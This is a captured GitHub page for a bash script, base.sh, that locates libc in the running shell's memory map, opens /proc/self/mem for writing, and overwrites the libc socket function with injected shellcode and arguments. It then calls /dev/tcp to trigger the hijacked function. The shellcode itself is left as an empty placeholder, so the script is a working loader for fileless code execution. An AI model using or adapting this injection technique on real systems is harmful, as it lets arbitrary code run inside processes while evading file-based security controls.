-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathbase.sh
39 lines (29 loc) · 765 Bytes
/
base.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/bash
IFS=
regex="([^-]+)-[^ ]+ .*libc.*"
# socket offset in libc file
# nm -D /lib64/libc.so.6 | grep 'W socket$'
socket_offset=$((16#100970))
# search libc base address
while read line;do
if [[ "$line" =~ $regex ]];then
libc_addr=$((16#${BASH_REMATCH[1]}))
break
fi
done </proc/self/maps
# socket address in memory
socket_addr=$((libc_addr + socket_offset - 1))
# dup2(open("/proc/self/mem", O_RDWR), 3);
exec 3<>/proc/self/mem
# lseek(3, socket_addr);
{ dd bs=1 skip=$socket_addr count=1 > /dev/null 2>&1; } <&3
# here comes the spider... Ops, the shellcode
#BEGIN
#END
echo -ne "$sc" >&3
for arg; do
echo -n "$arg" >&3
echo -ne "\x00" >&3
done
echo -ne "\x00\x00\x00\x00" >&3
echo "pshiuuuuu" > /dev/tcp/r.i.p/1337